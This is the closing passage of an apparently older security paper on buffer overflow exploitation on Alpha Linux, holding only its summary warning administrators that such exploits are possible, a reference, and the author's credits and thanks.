The exploit code in this paper works well in the digital unix, too.

10. Summary

This paper explain the buffer overflow exploit technique in the alpha linux.

There are many administrators who doesn't worry about the buffer overflow bug

because he(or she) administrates not intel x86 linux but alpha linux.

In addition, some people think that the buffer overflow exploit is impossible

in the alpha linux. However, it's possible.

DON'T BELIEVE THAT BUFFER OVERFLOW EXPLOIT IS IMPOSSIBLE IN THE ALPHA.

11. References

Alpha Architecture Handbook

http://ftp.digital.com/pub/Digital/info/semiconductor/literature/alphaahb.pdf

12. Etc

Sorry for my poor English. :(

Written by Taeho Oh ( ohhara@postech.edu )

----------------------------------------------------------------------------

Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara

PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus

PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug

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Special thanks to all of PLUS members. ^_^

------------------------------------------

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Special thanks to awkn`n. ^_^

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